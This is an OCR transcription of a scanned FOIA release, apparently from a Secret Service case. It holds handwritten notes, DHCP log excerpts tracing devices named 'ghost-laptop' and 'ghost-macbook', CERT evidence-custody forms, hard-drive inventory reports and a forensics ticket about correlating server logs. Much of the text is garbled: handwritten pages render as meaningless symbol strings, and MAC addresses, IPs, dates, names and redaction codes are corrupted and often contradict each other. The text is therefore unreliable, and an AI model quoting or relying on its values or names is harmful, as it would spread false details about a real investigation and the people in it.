THIS FILE IS5 MADE AVAILABLE THROUGH THE DECLASSIFICATION EFFORTS AND RESEARCH OF:

THE BLACK WAULT IS THE LARGEST ONMLIME FREEDOM OF INFORMATION ACT { GOVERNMENT
RECORD CLEARING HOUSE IN THE WORLD. THE RESEARCH EFFORTS HERE ARE RESPOMNSIBLE
FOR THE DECLASSIFICATION OF THOUSANDS OF DOCUMENTS THROUGHOUT THE U.5. GOVERMMENT,
AMD ALL CAM BE DOWNLOADED BY VISITING:

HTTP:{WWW.BLACKVALULT.COM
YOU ARE ENCOURAGED TO FORWARD THIS DOCUMENT TO ¥YOUR FRIEMDS, BUT

PLEASE KEEP THIS IDEMTIFYING IMAGE AT THE TOP OF THE
-PDF 50 OTHERS CAMN DOWNLOAD MORE!


http://www.blackvault.com/

780



'\

* W s em sersenreteess @ 4 gl 000 se.ct seranencereens #

781



AN e AN MR o

782



427 e AG

m . 2 qutftg 22K .
Vel TZMS KL, I ' T Lo o B .

19/4 /10 éj‘ /i‘e[t

* o/ /td K3} — its;
[E5.EXC) :

Atk ang.

| Fﬂﬁﬁx&.

1072/ 1>
(®XB).BXTXC)

1674/l 7
I nts




785



Gl 2771

l

786



(bX8).(X7XC)

787



Il i




N

N 772 -

Mﬂ

[

(bX6),(bX7)C)

el —
i (b)(6).(bX7XC)
(BX7XC)

' KY)

XE).(DN7XC)




06L

1]







_’

Lo,
i

- Py & a s
"4 LY [ & !_... - f‘!..L il &
- ” =
5 LJ

792



~
©w
w

y )

] - .
-~ 1 Pl MIT g o praK

e o . P

i = S DL AN ==
. I ' R ...ﬁ)_.cmesa!_. :

Gveds (e A‘?& o éyﬂf/‘ myi’... |

e Ll -

TS YT/ A O il | by J avde crl S A
R I ) e S i % =

a \_/ds G
oo oo 4 A . Aﬁv o bkl
(“—VLC_)E

J&ﬂi&r o bhe % e
2R - . atrefel
Copr b o] , L~ et Tugh I~
& e TREE ' |

_ P Mi
Loyltr «f 7] : (,,:: Zé fﬁ;\ Cuslee)
Sare T pitd pns {:1 b | %{ﬂ evi:;}zl‘gxf s«G_JA.‘_E__




T — - =
la

V6.
. 2
o) h
p [




~
©
(4]
<

’ U221/ 1\

Cgo..p
r) % Py : ) | ” y
# g .’ 1 _pg '
/ : i

v T = WA e .
zzzz' YA 5.4 7 : = : L.
B s | 4 Z Z,e:i‘w - of /2571 ]
[: 2 7" . Ca © ol ] Ucfeuﬂ .
TN AT N ¥ .‘I T gl Ay
le Q Z!S _/_ b& ﬁzma A‘& ﬂw,! G“L ﬁéﬁgg > Z:.L




2" 9 [ pe-na

-~
©
(=]




&1 /8 DTIGQR § A0S (v y
] v
:
t
", . .







T Bowe, Payer Tlo 15 5(:3) = g
oY)
: _L.L%_J*_&.J Zadl sl

___m&u__ﬁhs VA']) B

b« e bol g 157 2ot .
Jaey ©i/64/ 1 ls_zg:s‘l

16/ o) +
¥ o Sove. 6;;-

o~
©
©




<) e el Dne Koo, @2/
s Tered o ECoe LB

TE 27 STTPIF

L(TQ;EI 28710 | 7:25:2)
ol Jot /1 __j1:50:39

th % eljle 229 1,739, 9¢] PDF
_z‘P Addregy Fle (:&Lj (of22flo  o%:id7a51 M

——jﬁm— 12/1/10_ o):|fi0] P

é’l \ TS \iY P

10 fozflo  19:6:2Y

lofed /12 1602

;3’2— /LugJo'u / 559——7}{%5

Berd Lk
lo‘é r :& xJ
_ i
= —— ' loF Sles
S 7A( A0 685




' — | GF ol T 3w
—aeb g ' ! el
— it Sgait. T

i

Fﬁ&é ’ 4 - — . —ZE-ML;'——M Jsjoll
S — Hopmer—

108




— . “}v’/ & é.g____éklm. j;_[!
jS‘OfL é’ﬂ) ’ orer Q oy C&,‘V

A i! Seartz il Cotnpney

J " / @_éea__;&,j_a( ,LLH%/




N NN Vot

— 3 2, " WSSS&:,?&Q@ k2.

r (o ¥
) ; e
) QL r‘+7 gt
“Jhep - 201004 2¢ $z ﬁaqp goiol: 9 | lo;t!-» fond
boull - stact dhepl ; DiCPoPFm e e e m\lé g e 5+ i g o
N- 856215 ag _f_’-"l_ z -

_(_;[_,,l' WJ-JL) ,4_(.\[

,@W

. €08




— . A ! )‘1 lj— ‘G"' i g.'-Ei .S.. y’ ', RD# .
Ta.. Dl B mJInn_ﬂis - _MAC %_.EA:?M

Wha™ i JTA_ ¢ 7 ‘!.Jie fL? EI ﬁs‘d—' [T
. ot Texk T kek

A L It - ‘ I __Mh .
pet- 22 4 SO0 — ay - enofd Lol o
: ng 7 Q0
Skl G & sqn AL '

sl

N Qe

|

; C : b
. : t
: s




Yoo i [O.EH0
! I‘T’ ®

Jfé_f‘f; Q_J,ﬁl_,_( q

!ﬂf’ WL—-—_—_

£ 2 —p m m‘lggé
—— =1 G‘ ? l : i
creted “q/241 4o PN ; Traq @Qyw
T/26/10 1 s_v,f'm v )
i el C s
AR Coll b ajzfe g oA mpa
qlaéfte  Vifd P™- cebotn .,%rg
2 ~Efls
8', “ﬁ; s Bhl < I god
_61&_“_ . " "@o—u Jgg
4&:‘.&5__?4& ek lorvad
ﬁ::‘l:t f. SL gt bited J
F:l(‘ Pler T

*& Jg'w. ‘w} .& 44;
(AR Y

=3

5 pall L e & L

S08




I —M‘__am_ ‘ S‘:I“éj q/ec /1o
7 : - 2086~ 13.55.( ¢

MJAM —

*__
q. ;Z:"/lﬁ -~ ' + : . L CPE S 3
m‘m ﬂ;;@ Sciagi, ~ I Y S % W P A
!;ﬁ — —— _g‘,.L_:.jZﬁj TsToR




Y7 VAT

_D_u.u.u__&s;,., 4"-.7’ Pa) /-‘/eg_ﬁk
Wi_é.m_@r_i_

_M_M(Pl .

000V /1917 4= pohie Scomgen %ach

o _MIT o

j J"‘ .

- 808




4

~Hostd Oy b T uny f PPN

.

—leay | : ' S,JJ ' Sanceb
| 1320 Cafee it I f/- & Goalok
®X8).BXTXC) 7 ‘ R .
a/13/2  32a

608




Ca d € SelPlo “j:24

_#4& i e - Q ﬁéz Sesilas ! 2:"(; 29
| (2s/le 10130 Akl ey DLl Loy “4S3 4
i /., 52
}__ Foa ‘.- : _J:-a.'s.t_'\n
{ fJML :

i
P
&
'y







AL, R 3.\%&“”_"”"7""’
4] lo sy, 3¢ [P

e
S 2V F g ;Q
237 2 CCF

o 2 Q:B:Sa.‘?‘}:x{-':c——c

48]




(bXE),(bX7XC)

clase

(bX6),(BX7XC)

(bX6),X7)C)

T

i Tolee  Cabeled

_;: — bl rRlee  Cubiled

Ay
(3 . ¢ ’:
e T [BX&).BXTXC) | — 5 Wﬁ)— :
X6). ) ‘ ]() s
' ) Wﬁ‘[& . (Y]
Gets ot . eS:ald:c7: 56 BEIONE)
—Seuxley C7:5€

WQJ% Traslt Ut 5—5-“ £ -

CR2r ¢ "L

€18



















o pucimme emrees .

68







2o, 37 —




%'“131:1 'fi

dac fiagg 64‘—- |

(44}




- £28




(S A




. G¢8







i
P q
H
2
he ]
‘ !
f
[ 4
;
[ 4

A\
XA '




DHCP excerpt of ghost-laptop obtaining 18.55.6.215 shortly after addnight on the 25th:

dhcp-20100926.g2:Sep 25 00:01:59 wall-street dhcpd: on

18.55.6.215 to 00:23:58:73:5¢:b (ghost-laptop) vi dhcp-28100926.52:Sep
00:02:17 wall-street dhcpd: ONCPOISCOVER from 00:23:52:73:5F:£b (ghost-laptop) via
dhcp-20100926. gz:Sep 25 00:02:17 wall-street dhcpd: on

18.55.6.213 to 00:23:50:73:5F:4b (ghost-lsptop) vi dhcp-20100926.gx:Sep 25
00:02:17 wall-street dhepd: DHCPREQUEST for

(18.69.0.33) from ©0:23:5a:73:5F:f> (ghost-laptop) via -
%mﬁu.wm 25 09:02:17 wall-street dhcod: DHCPACK on 18.55.6.215 to

00:23:39:73:5F:fd (ghost-laptop) vialB

OHCP excerpt of ghost-macbook obtaining W Oct 3;

dhcp-20101009.g2:0ct 8 22:18:13 ylvania-avenue dhcpd: [ID 782911
locan.tnfoi OMCPOFFER to 00:17:€2:2¢:00:74 (ghost-macbook)

Ipsylvanis-svenue dhcpd: [ID 702911
D 00:17:F2:2¢:00:74 (shost-macbook)

' snia-avenue dhecpd: [ID 702913

locali.info] DHCPREQUEST for X 18.69.0.33) from
117:¥2:2¢:09:74 (ghost-macbook) vis {BXG), (BXTX(C

] a-avenue dhepd: [ID 782911

dhcp-20101009.82:0¢ct § 22:18:48 ylval t
ocall infol DHCPACK mm:: 00:17:52:2¢:00:74 (ghost-macbook)

DHCP excerpt of ghost-laptop moving between two networks (18.53 and
16.187) on Jan &:

Ghcp-20110167.g2:Jan 6 12:48:31 wall-street dhepd:
[7XC) ]to 90:4c:eS:20:c7:56 (ghost-laptop) via
Shcp-20116107.g2:Jan 6 12:48:31 wall-street dhcpd: DHCPREQUESY for
ONO)MO}IXC) ] from 00:4c:05:20:¢7:56 (ghost-laptop) via

BYELBYIYC) | I —
dhcp-20130107.52:0an 6 12:48:31 wall-street ¢ pack on [OXCIBRTRC) |
10 00:4c:€5:00:¢7:36 (ghost-laptop) via X
dhcp-2011€207.g2:Jan 6 12:48:31 installer dhepd HCPOFFER on v

to 00:4c:e5:90:c7:56 (ghost-laptop) viz
dhcp-20110107.82:Jan 6 12:50:56 wall-s

828



from 88:dc:e5:ab:c7:56 (ghost-Lapuop) via .
cp-20110107.g2:Jan :50:56 wall-steaet dheod: CRICPA
to 09:4c:e8:a0:c7:56 (ghost-laptop) viafPNO)LOX/XC) |

g2:Jan 6 13:27:01 installer dhcpd: F
Mu 00:4¢:05:20:¢7:56 (ghost-laptop) v
ihcp-20110107.g2:Jan 6 13:27:01 installer dhcpd: DHCPREQUEST for
OXCLOKMNC) ] from 00:14c:e5:20:¢7:56 (ghost-laptop) via
e (B)(®),(6X7XC)
dhcp-20110107.g2:Jan 6 13:27:01 installe
to 00:4c:e3:a0:¢7:56 (ghost-laptop) vis

3 screenshots attached of the web interface to our registration systen:
1is s:p 29 registration of Gary Host as ghost 00:23:5a:73:5F:fb of

2 1s Oct 8 re-registration of Gary Host as ghostd2 00:23:58:73:5¢:fc of
ghost-laptop, with changed MAC address

3 1s Oct 8 registration of Grace Host as ghostd2 00:17:F2:2¢:09:74 of
ghost-macbook

Lot me know $f you have any questions.

(bX8).(BXTXC)
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W) Sotwre nghnsaring metiun.
Comgpehdalio. LAW ENFORCEMENT SENSITIVE
Return or Destruction of Evidence
IAmmn: Usss-nm Authorizer name: Chcklmemmm
10 Causeway St
] i Agency address: Boston, MA G Authorizer agency: CIid(hmtoemrm.
; ﬂltmumw Agency address Click here to enter text.
< .Wuun:_ Cllckhmwenurtm 71t I, dute of coust e e
order to destroy: g
Agency gddress: | Click here to enter text.
= E By —— g L ad
6. CERY® Exhit ¢ & Name and Exact Descsipion of item
Tl—“-l WDHDDO#DOIW sfn WCAZA.'MI?“
148-2 wwuonclmlmdumwmmzso
148-3 Seaguie/HD BCNDO1048 3/ 9WM69553
1484 WDVHD BCSWCATR2248284
93-1 WD/HD BCIDO1096 (CONTAINS 93 & 148 Data Files)
"Mulmiﬁmﬁn’mmum%wmg_p_mmmwmw ?_q

| 15. Dots and Time:

VERSION 4.0 - 41212010
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e v
", - Software Engineering Institute
CERT l CarnogleMelion.

LAW ENFORGEMENT SENSTTIVE

Retum or Destruction of Ewdence

.. %mmm&.&()mmy ' 'g: Destroyed e

g L Agencyname: d¢6} ' _Amhodwnanw =

2 Agnucyaddnn: ' Pyl o Amuwagomy:__' e

s g Tmmfemdbamauamy ' ! .Auemyaddma

} v are e n - . . L

i“m,{\omvmr L . ) .’ If Title Jii, date of court
‘ « i . Agancy address: 5. order o destroy:
! 6 CERT® Exhibit# ,' 8. Name and Exact Description of tem
3 Y65553 -2 wszm byﬁ;( HOD  s/ul: WCATEZTHBIEE
F < W ’.:. " M ..5'-" A
i
| ——

u
NOTE ALLmmOWWﬂSLWEﬂUSTBECOﬂPLETEDBYWWBOmCMOF"#SFOR”
10. Name of CERT Team Leader
11. Signature of CERT Team Leader: o

9. Date: /’ﬁ!l i 12. Date:
13.0n . the exhibits listed above were
H [

0] Returned to LEO agency [0 Tranafarred to another agency [0 Destroyed .
14, Name of Evidence Vault Tech: 17. Name of Winesg:
18. Signature of Evidenca Vault Tach: 18. Signature of Witness:

Dete and Time: 19. Date antt Time:

—— W gl —-
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Ciassified Documents Detall Report
Origination Certificate Totsl: 1
Document#: LEOSUPPORTUSSS-144-4 Raceipt Number:
Archived: [ Reocelved From:
Container: 1 Generated/Reselved: Recelved
WLM Receive Mothod:
Accountsble: {/] Recelve Date:
Classification: LEO Seneitive Entared into System: 09/26/11
Contract (D: Project:
Sarcode: D01039 Agenoy: United States Secret Sefvice
Contvrol #: LEOBUFPPORTUSSS-144-04 Date:
Courier Name: TDP &
XRef % Signed For: 02/07/2012
Type: Media Incoming Recelpt &
Modia Type: Herd Drive Number of Enclosures:

Serfat §: OWMBO553 Pages:

Propetty £: Status: in House
8cG: Loaned: (]
Oowngrade to: Sent to:

Downgrade: Send Method:

Downgrade Auth: Signed for Dute: 02007/2012
Retention Authorized: [] Dispatched: 02/07/2012
Retantion Letter Sent: inventoried:

Ratain Until: Overdue:
Derived From: Sent/Dast by:
OADR: [1] Witness:

DRestrictCopy  [RestrictDestruction  (JRestrict Transfer

Oxt Che (I [Oxs Oxs e (o Cxs Oxe  [IManuni Review

[JoADR OADR Date:
(JExempt Daclassity on:

2TB Seagats 3 5° SATA hard diive, Basrscuda XT

= Ho Spacis Accestes

{FranmacionDats_Transnofion Type  Reseipt¥

09/26/11 New Entry

11/08H 1 invertary

/0112 intemal Transfer  IntT0011
032112 Loan in

e~ et e S 2 Aomiiliam coppdmncwr bie o n sremh

";No.Ag.‘ﬁqa"""““” -

Page 102
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2., o
Cgssmedoomnhoewi Report
Origination Certificate Totat: 1

9726 - (LONGO] item in-processed on 9/23, transfemred from USSS. 84

safe for analysis. \OHO).(E

10/17/2011 [LONGO] - Analysis complele. item returned to SALLS Chain of custody and case fokier updated

(item no longer in-house).

10!1912011-(BA)NoodginalLEOR0|slnmﬁle.NotMnngEV.Bmmmmu-bo

11/15/2011-(BA) No new case siatug ROIS/ROAs in case file. There is a DID/ROA dated 8/15/11 by inthe

case flie (time line). Nothing in the FEV.

gﬁmmmmmmmmcﬂtmumoahcaseﬂle.ThmlsaDRDIROAincasa
Nathing in FEV.

?&%}Mwmmmmmmmﬂ. No USSS/ROIs in Case file. There is a DIID/ROA in case
8.

8722112 (BA copy of case file for Trialk-prep. No updated ROIs and/orROAS since 10/17M1. Nothing

in FEV.

WRA2012 104756 PM V\ “Page 2ol 2
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Classified Documents Detail Report

Origination Certificate _ Totak: 1
Document #: LEOSUPPORTUSSS-144-3 Reoelpt Numbert:
Archived: [ fscetved From:
Container: FEV 1 Genarated/Received: Recalved
Custodian: ©)8),BXTHC) Reosiva Method:
Aocountable: Raceive Date:
Classifioation: LEO Senaitive Entered into System: 09/22/11
Contvact ID: Project:
Barcode: 001038 Agency: Untted States Secret Service
Control #: LEOSUPPORTUSSS-144-03 Dais:
Coutier Name: TOP &
XRet #: 102-775-80071-8 Sighed For: 02/0772012
Type: Meda incoming Recsipt &
Media Yype: Hard Diive Number of Enclosures:
Serial #: WCATR2248284 Pages:

Properly #: Status: In House
8C6: Loaned: (]
Dovwngrade fo: Sent to:

Downgrade: Send Method:
Downgrade Auth: Signed for Date: 02/07/2012
Rotention Avthorized: [] Dispatched: 02/07/2012

Retention Letter Sent: inventoried;

Retain Until: Overdus:

Derlved From: Sent/Dast by:

OADR: ] Witnass:

ST

DOxa

it

CIxt

{Joabr OADR Date:

{JExempt ~ Declassity an:

RIS T S

[DRestrict Copy  [JRestrict Destruction ' ClRestrict Transter

Oxé Ox6 [lts Ox7 Cixe [e  DMesus Review

09732111 New Entry

11/00/1 1 {nventory

0217112 Intemal Transfer  IntTOD11

0312112 Loan in
O

=7

Page 1ol 2
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safe for analysis. ]

10/47/2011 [LONGQ] - Analysis compiete. (tem mmmkmmdw&o@ and case folder updated
(item no longer in-house).

10/19/2011-(BA) No original LEO ROIs in case file.SIMS ectemal iransfer needs updated. Nothing A
11/18/2011-(BA) No new case status ROISROAS in case file. There is a DIID/ROA dated 8/15/11 is inthe
case flle (time ine). Nothing in the FEV.

1/15112- (BA) No new Case status reporis for DEC/11. No USSE/ROis in Case file. There is a DIlD/ROA in case
fite.Nothing in FEV.

wﬂah(:smomommum&b 181 Ort 2012. No USSS/ROIs in Case file. There is a DIWO/ROA in case
elangvz. request copy of case file for Trial-prep. No updated ROis and/orROAs since 10/17/11. Nothing

PagaZol2
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Qmiﬂod Documents Detall Report

Origination Certificate Total; 1
Dowmnnu LEOBUPPORTUSSS-M4-2 Receipt Number:
Archived: [ _ . Received From:
Cantainor: i Generated/Recelved: Received
Custodian; b}(6 Receive Method:
Accountable: Receive Dste:
Classification: LEO Sensitive Entered Into System: 09/15/11
ContractD: Project:
Barcode: 001037 Agency: United States Secret Service

Control # LEOSUPPORTUSSS-144-02 Date:

Courter Nawe: TOP &
XRe?#: 102-775-60071 Signed Fos: 02/07/2012

Type: Media incoming Receipt#:

Media Type: CD Number of Enclosures:

Seried#: nia Pages:

Property & Status:; in House
8Ca: Losned: []
Oowngrade ta: Sent to:

Downgrads: Send Method:

Downgrade Auth: Signed for Date: 02/0712012
Retention Authorked: [ Dispatched: 02/07/2012
Retention Lelter Sent: inventoried:

Retaln Untii: Overdua:
Derived From: Sant/Dest by:
OADR: Wiineas:

Dm Dn Dn Oxs [Oxs
{JOADR OADR Date:
D!nmpt ~ Declssslyon:

Ox Ox

Oxs DOxe [IMsnuai Review

*** No Special Accesses ™

" [ Transaction Date ~Tranaetion Type Mc

o

Ya-d

08/15/11 New Entry
1108711 Inventory
02/0712 intemat Transfer
03212 Loan in

* No Authors **

ya
12 10: 5’40 PM

Page 10f2
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&nfﬂeﬂ Documents Detail Report
Origination Certificate Totat: 1

g:s::.,womol Nem in-processed on &, transferred from USR8 8ACKC), hofOXG).EXT) Jem stored oG, Jeafe
ana 2,

10/17/2011 [LONGO] - Analysis complete. tem returned to § Chain of custody and case folder updsted
(item no tonger in-house).

10/19/2011-(BA) No original LEO ROIs In case fiie. SIMS extemat transfer nesds updated. M
11115/2011-(BA) No new case status ROIS/ROAs in case file. The aforementioned DIID/ROA dated 9/15/11

Is in the case file (lime line). Nothing in the FEV.

1/18/12- (BA) No new Case status reports for DEC/11. No USSS/ROIS in Case file. There is a DJIDVROA in case
file.Nothing in FEV.

$/8/12- (BA) No new case status Jan/Feb 18t Qrt 2012. No USSS/ROIs in Case fie. There is @ DIIDVROA In case
fite.Nothing

6/22/12- (BA%W copy of case file for Triak-prep. No updated ROIs and/ofROAS since 10/17/11. Nothing
in FEV.

07242012 10:45:40 PM Page 2 of 2
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[MLEOSUPPORTUSSS-144] Forensics | BOS

" 1aM

LEO Supperf- USSS  LEOSY

pea..  hitps://issuetracking intianet cert osgHim/brOWSK/LEUSUPUKI LR....
d . - '

Forensics | BOS | Analyze and correlate server lags of
activity with records from suspect system

Stalus: * Resolved
Ressluion: Fixed
Fix Versionfs: Nons

Lebats:

Description

nm«mummemfwusssmmiwamsmmmmmm:mwm
those with records retrievable from suspect system.

Activity

A Comments Warkloyg Mislory  Activity

le 10:36 BM
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[MLEOSUPPORTUSSS-144] Forensics | a.  hips:/fisiuetracking intranet.cert org/jinv/browse/LEUNUPPURIUS...

T af'

Navertser,
oolad Lif DS RURT BT W& : S dmpyk] S8 m&“rfé M) CBUWAEL SV DFP O AT WINPT e
€808 tygerev: a8 Fhmd® .

indis] CSuciomum CRtaches D¥HI00S. Addional work Kiely Jn subsecuent #tagee. These wil be Scketed senarslsly.

) Wowmbercd ot 108 Atk

T i SLe HE Siavay o X seccy X 03 3R 40 i

e detaphons conaultalions s week with ALIGA Heyrann sad RChEETE o Sveting
digtionuee tetulrecrovis 5 delenss team Yarked owt an inkiel plact This dove net reguie addBonal work oM Mo, ~ay

D omnmisnrsia
Septomher 20

changed tve Labets o Fending_non-Itersctite on | 285780000 14387t  Fuiatatul ’?’J‘-im\“"“ i sediale
VN IGgR T 2582 o 1l it g L aimgl o SR
D mewner30us2PM
'bXB).(bX7 . )
“ ! i w! b !‘ i. COMTTRAtEE On i K ALY GERS S0 ¢ Preneade ) AOK SO 2D LI e Vg Y BRI e At s
G st € alen

Aly ta colivie relvent datn Pomoaddtional swdence
Pusssit in zonsoRatons with AUSA Heyrman sed
+ peavided cals 8 ARIMRS R e

pragramio genaTaied svetal asts of stabtics from the

1) copmaderson sm Pu
Sephenbe

n )(s)'m) bormanted on i1 FO0G g0 38t CLasendied fesr m F2ah 0 e N YOI T N ]

’ Foom: raared] Aeslion

Sraparad Pyttt prograciio eXiact netecsts anc 1og entries Ky Cmparieon fiaes provided et sovces.
oving for urm Gtk innge 1o ba revarwd
S4diions| divk Wil e Qea s etadaty; howavet, magefor ik e 1+

10 semtamtar QU PY

00 LR FRDET TR T et Syl P DT Faayme i el i 23t ikivey = el

e > adeer asarn

V03 eonkaining logs from vidim sysiens wnd mitaces exracied flom suspect sysiens

o n"eb}-\)*{lﬂhtm-i% Sl :&"&Muﬂm-ma R BERR LY, IO E IR 40
A raquast of AUNSA cllion s B3N R UBES tosy, roview st 1egs fromvictimsystezs v & vomw (0 corelte Dosa wih 100010e retripvabls fram
unpect systen

i secwmnecosm 48 Pm

ATy T————

Assignes: I?FWW
Repotter:

Vote (Q) Wailch {03

Creatad: 09/Sepit 455 PM
Updated: O/Novitt 1041 AN
Resolved; OB/MNovit1 1041 AN

952
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[#LEOSUPPORTUSSS-144] Forensics IMW 8.  lups:/fissetoscking intranet ceit.orgfjira/browst/LEBOSUPPORTUS...

| LEQ Suppart - UESk MWW
W Forensics | BOS Analyze and correlate server logs of
activity with records from suspect system

Details

Type: ) Forensics Staus: * Resotved
Priotity: % Major Resolution; Fixed
Affects Version/fs: None Fix Versionfs: None
Component/a: Nohe

Description

At roquest of AUSA ofice in Boston for USSS case, review sever loga from victim systems with @ view to corvelste
those with records refrievable from suspect eystem,

Activity

Ap  Commente Worittog ristory  Acbvity
b} @) (bY 7 ¥

ddad 8 comment - 0WSep/it 4:50 PM -  Restricted t leo-support-usss

added & comment- 16/8ep/11 514 P - Restrioted 10 [ec-supportyusss
Prepared Python program to extrsct metadata and log entries for comparison from provided dads sources.
(v miseing for one disk image to be reviewed.

plied additional disk with imeges and metadata; however, image for the disk in question was

lete and unusshie.
{ disk end forward full image.
od @ comment - 30/Sep/11 5:53PM -

Able to callats relevant data from adidional evidence
Pursuant to consultations with AUSA Heymann and {6
generated ssveral sets of statisics from the provided date to mwmswom Supplied raw
results th AUSA Haymann and investigators.

8, ponding any foflow-up requests.

dod @ commant - 18/0ct/it1 7.33AM -  Restricted to lsc-suppost-usss
alys ducied two teiephone consuitations this week with AUSA Heymann and SAFEXEIE) |
discusmng meo mmﬁmmndwmmmmmm Workad out an initiel plan. This
does not require additional wark from CERT enalysts ot this point.

hdded a comment - 08/Nov/11 10:41 AM -~  Resiricied to len-suppont-usss
ohatsoies overcome. Additional work lkely in subssquent stages. These wifl be ticketad

Peopia

Vote 0} ovh 107

Dates

h’\ 12 10:35 PM
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Amlyzea..  Wips://issstracking insrrel cent orgffin/biowss L ROSURPORTUS...

v v M

Ob/Sep/t1 485 PM
O&/Nov/1 10.41 AM
DAMNOW11 10:41 AM

Mz 10:33 PM
954



gasslﬂed Dowmem Detall Repo’

Origination Certificate Totak: 1
Document#: LEOSUPPORTUSSS-144-1 Receipt Numbes:
Archived: ] . Received From:
Contalner: Generated/Recelved: Received
W«M@M Recetiethat
Accountable: Recelve Date:
Classification: LEO Sensitive Entered into System: 08/15/1
Contract 1D Project:
Barcode: 001038 Agenay: United States Secrel Service

Control ## LEOSUPPORTUSSS-144-01 Date:

Courler Name: TP
XRef #; 102-773-60071 Signed For: 02/07/2012

Type: Meodia Incoming Receipt#:

Media Type: DVD Number of Enclosures:

Serial & 00001235155 Pages:

Property : Stetus: In Mouse
8CG: Loaned: ]
Downgrade to: Sent to:

Downgrade: Sand Methot:
Downgrade Auth: Signed for Date: 02/07/2012
Retention Authiorized: [7] Olspatched: 02/07/2012

Retention Leiter Sent: Inventoried:

Retain Until: Overdus:

Derived From: SentiDest by:

QADR: [] Witneas:

O [Ox2 Oxs Oxe

[CJoaor OAOR Date:

[}exempt Declassily on:

* No Special Accesses =

DRestrictCopy  [TRestrictDesiruction  [JRestrict Transter

Oxs Olxe [lxz Oxs [ [Manual Review

DVD fabaied "LOOSE DRIVE ECSAP REPORT" cantsining file llstings and metadata from evidence drives.

= o T ""ﬁ"‘rype =

09M5811 New Entry
11700111 Inventory
111811 Loan Out
02/0TM2 Internal Transfer

IMT0011

955




Total: 1

Stored in
ans- Lo [EXELET ate

104172011 [LONGOQ] - Analysis complete. ltem retumed to S4 chdndmmodywdusefddwumm
{ttem no longer In-house).
10/19/2011-(BA) No original LEO ROIs in case file.No new Case status ROIs of DHD/ROAS. m
11/1512011-{BA) No new case status ROIS/ROAS in case file. The aforementioned DID/ROA dated 8/15/11 by
isin the casa file (time line).Nohing In FEV.
1/15/12- (BA) No new Case siatus reports for DEC/11. No USSS/ROIs In Case file. There is a DIID/ROA in case
file.Nothing in FEV.
:ﬁnN%‘N(BA)NommsedemFebmmmﬂ. No USSS/ROIs {n Case file. There is a DIID/ROA in case

. "

:‘mtz-m@@}aqum copy of case file for Triak-prep. No updated ROIs and/orROAs since 10V17/41. Nothing
FEV.

12 1026 ETYCH]
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» -

" CammegleMellon
Digital intelligence and Evidence Custody
Investigations Directorate Form
Digitsl Forensics Lab

JKS'S _ ) A DD Case §: LEDSNIP0RTASSS - /Y
’}hna Agency Case #:

USES py- 0 per¢rs U uep porve | QWMEAS<

Chain of Custody
Date/Time . Released By Rocoved 6 eesen
R v .
e . . TR T
t_[O¥8) eecss : Yy | AvAe)ysts
iy | ___0Xemme ™ L e
223 = B)@)-BXTHC) g
i | SIS pernen)
= . )
= —— ST e
+
e e oan
Form Generstect ;- m;as:ze:-.[%ﬁy
. ..1"5‘ {,:'3', '
o wf
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@ -

i-somsnmm
3 , Carnegie Mellon
Digital Intelligence and Evidence Custody
investigations Directorate Form
Digital Foransics Lab
Invastigeting Agency: (S $S SiT Cove d: LEDSUARRTUSSS - 144
henry, Sme k. [9). )98 ~pdePl -8
Ttem Number = Evidenca Barcode: *Tm: Sara: Nurmoer.
¢3 R&LIE2 vé i 248284

m Qe g 0or8 SATE Rl Mtnl Aoy | :;,-,,./ st 23

CouTRinNG_RERETS, IR _arR . QT A 45
Chain of Custody.

.eb m Fann:’u w&*p Segrela

i S4eeeet B omem e

[/
S s n POOT] ww- e At

__l?._L___. (bXR) (b )(C

E) iadenia)

e “Hegraere Senose
5 emorAgeney m"i',m T —_—
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@ @
Q| @z

Dightal Intelligence and Evidence Custody
investigations Directorate Form
Digital Forensics Lab .

OlID Case & LEPSFAORT L565€ - 1YWY
Mgy Case & 02~ 775 - G000}

a;;f-/W~02 mﬁ LD /Ll
Dascripion:

0 Ledcren "trnA:A Refmtn” copmiiayrls Loé FILES Fropm Vienm

Investigating Agency: (AEFS

Chain of Custody

ﬁ W)-wmc) T
?g 1 Fn | sfirm & e o |
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® - @

Carnegie Mellon
Digitat Intelligence and Evidence Custody
Investigations Directorate Form
Digital Forenaws Lab

DHD Casa #; LEDSUANT USSS - 1YY
AgencyCesed: (02 - 775 -6002/

tom Number: Number:

mM’-N _ Deiei6 LQMVO AR [22515S
% an/aMMj £l lnAh;.r and pmetada fn ﬁ-'m evplence davas

agoww " io05g PRIVE ECSAP REART ™ e

tnvestigatng Agency: (/SSS

Chain of Custody
Date/Time gﬂoloaseday Iﬂeco!ved By ’ iaam
B e s+ MRt BT A

cotT P ”447'{/5

X8).(bX7)(C)

’
e e e ¢ §AOR, b S P oA o § 0 4 G208 s

e

| A0
rérveN
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| ~rowe  LOAN GHECK OUT
LOANED TO: f DATE: 10/17/2011 DUE BACK:** 521"~

Transation Dete: 11452011 Dacuiment Count: 1

LEOSUPPORTUSSS-144-1 DVD Iabeled “LOOSE DRIVE ECSAP REPORT" cantaining fiie lisings ars
metadata from evidence drives.

/A A "
11745201 PM /ﬂ Paged 1
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Classified Documents Detail Report
Origination Certificate Totak 1

Document # LEOSUPPORTUSSS-148-4
Archived; [/]
Camdn ORI
Accountable: [/
Classification: LEO Sensitive
Coniract ID;
Barcods: DC1048
Control #: LEOSUPPORTUSSS-148-04
Courler Name:
XRet#: 102-775-60071-S
Type: Media

Receipt Number: SEIETO21
Received From:
Genorated/Received: Recehved
Receive Method: Fed EX
Receive Date: 11/22/2011
Entsred info System: 11722111
Project:
Agency: United States Secret Service
Date:
TOP %
Signed For: 02072012
incoming Receipt#: 8764 6481 6334

Madia Type: Hard Drive Number of Enclosures:
Serisi#: WCATR2248284 Pages:
Praperty #: Status: Transfer: in Transit
8CG: Loaned: {/]
Downgrade to: Sentto: USSS
Downgrade: Send Meihod: Fed EX
Downgrade Auth: Signed for Date: 0200772012
Retention Authorized: [ Dispatohed: 08/27/2012
Retantion Lotter Sent: inventoried:
Rotain Until:
Derived From: Wbyj (bXe), gxmcil
OADR: [] Witness:

Dmcm Dmm Dwrm

Oxt1 [(Ox2 Oxs Oxs [xs

CJoapr QADRDab:
Oexempt Dsclassify on:

Cxr [Cixe (s [OMenust Raview

MWBLSF”BSATAMMIIM
8GE", "WD1200 from Henv*

containing forensic images and labeled “2thWD in enclos”, Aeu‘ 'nmw HP

02107112 internal Transfer
0312112 Loan In

Page 10f2

962



LI ]
' . ' ‘

Classified Documents Detail Repott
Origination Certificate Total: 1

08727112 Loan Out
08727112 Externai Transfer  SEIET021

New casp this month. There is a form#t mmummmm«wmm
